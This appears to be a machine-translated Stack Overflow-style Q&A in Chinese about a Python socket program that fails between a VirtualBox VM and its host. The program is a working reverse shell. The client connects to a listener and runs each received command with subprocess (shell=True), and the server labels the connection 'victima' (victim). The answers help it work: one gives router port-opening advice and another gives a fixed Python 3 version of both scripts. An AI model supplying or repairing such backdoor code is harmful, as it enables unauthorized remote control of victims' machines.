簡體   English   中英

Python套接字拒絕了virtualbox和主機

[英]Python socket refused virtualbox and host machine

早上好,當我在同一網絡中使用兩台計算機時,套接字出現問題(在同一台計算機上它確實可以工作)

我已經在客戶端腳本和服務器中分配了服務器的IP,在兩台計算機上都禁用了防火牆,當我執行客戶端時,它接收到連接但關閉了連接,這與Web防火牆有關嗎? 我在這里給你留一張照片: 在此處輸入圖片說明

服務器:

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket

def main():
    server = socket.socket()
    server.bind(('192.168.1.33',7777))
    server.listen(1)

    while True:
        victima,direccion = server.accept()
        print("Conexion de: {}".format(direccion))

        ver = victima.recv(1024)

        if ver == "1":
            while True:
                opcion = raw_input("shell@shell: ")
                victima.send(opcion)
                resultado = victima.recv(2048)
                print(resultado)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit()

客戶:

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket
import subprocess

cliente = socket.socket()

try:
    cliente.connect(('192.168.1.33',7777))
    cliente.send("1")

    while True:
        c = cliente.recv(1024)
        comando = subprocess.Popen(c,shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        cliente.send(comando.stdout.read())
except:
    pass

我不知道您是否更改了virtualbox設置,但是關於VM的事情是它們不是您的機器; 我的意思是,您模擬的是另一台運行在物理計算機中的“個人計算機”,因此它們被視為兩台不同的計算機,但是當您連接到網絡時,通常(默認選項),VM使用物理連接(您的一台PC)即可在網絡上工作。 雖然如果您使用服務器腳本和不帶VM的客戶端腳本,則網卡會通過VM找出它(相同的mac地址,相同的ip,相同的網絡等) ,您應該檢查仿真軟件的設置(“虛擬”框)以查看哪種行為被設置為默認行為

我發現自己對VMPlayer的界面比對Virtual Box更為自在,但是在網絡設置中,您可以選擇是利用已打開的物理連接(模擬以太網連接)還是“復制”連接(后者)通常用於連接外部網卡)。

不太清楚您要問的是什么,為什么對它不起作用的技術說明,或者使它起作用的變通辦法……在這里。 順便說一句,如果您想嘗試將配置更改為調制解調器設置以查看是否存在問題,請轉至192.168.1.1並打開為您選擇的協議使用的端口(我知道端口7777和TCP)。

干杯

為了解決這個問題,如果您使用的是python 3,我必須對數據進行編碼和解碼,並將raw_input()更改為input()。

服務器

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket

def main():
    server = socket.socket()
    server.bind(('192.168.1.44',8000))
    server.listen(1)

    while True:
        victima,direccion = server.accept()
        print("Conexion de: {}".format(direccion))

        ver = victima.recv(1024).decode('utf-8')

        if ver == "1":
            while True:
                opcion = input("shell@shell: ")
                victima.send(opcion.encode('utf-8'))
                resultado = victima.recv(2048).decode('utf-8')
                print(resultado)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit()

客戶

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket
import subprocess

cliente = socket.socket()

try:
    cliente.connect(('192.168.1.44',8000))
    cliente.send("1".encode('utf-8'))

    while True:
        c = cliente.recv(1024).decode('utf-8')
        comando = subprocess.Popen(c,shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        cliente.send(comando.stdout.read())
except:
    pass

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM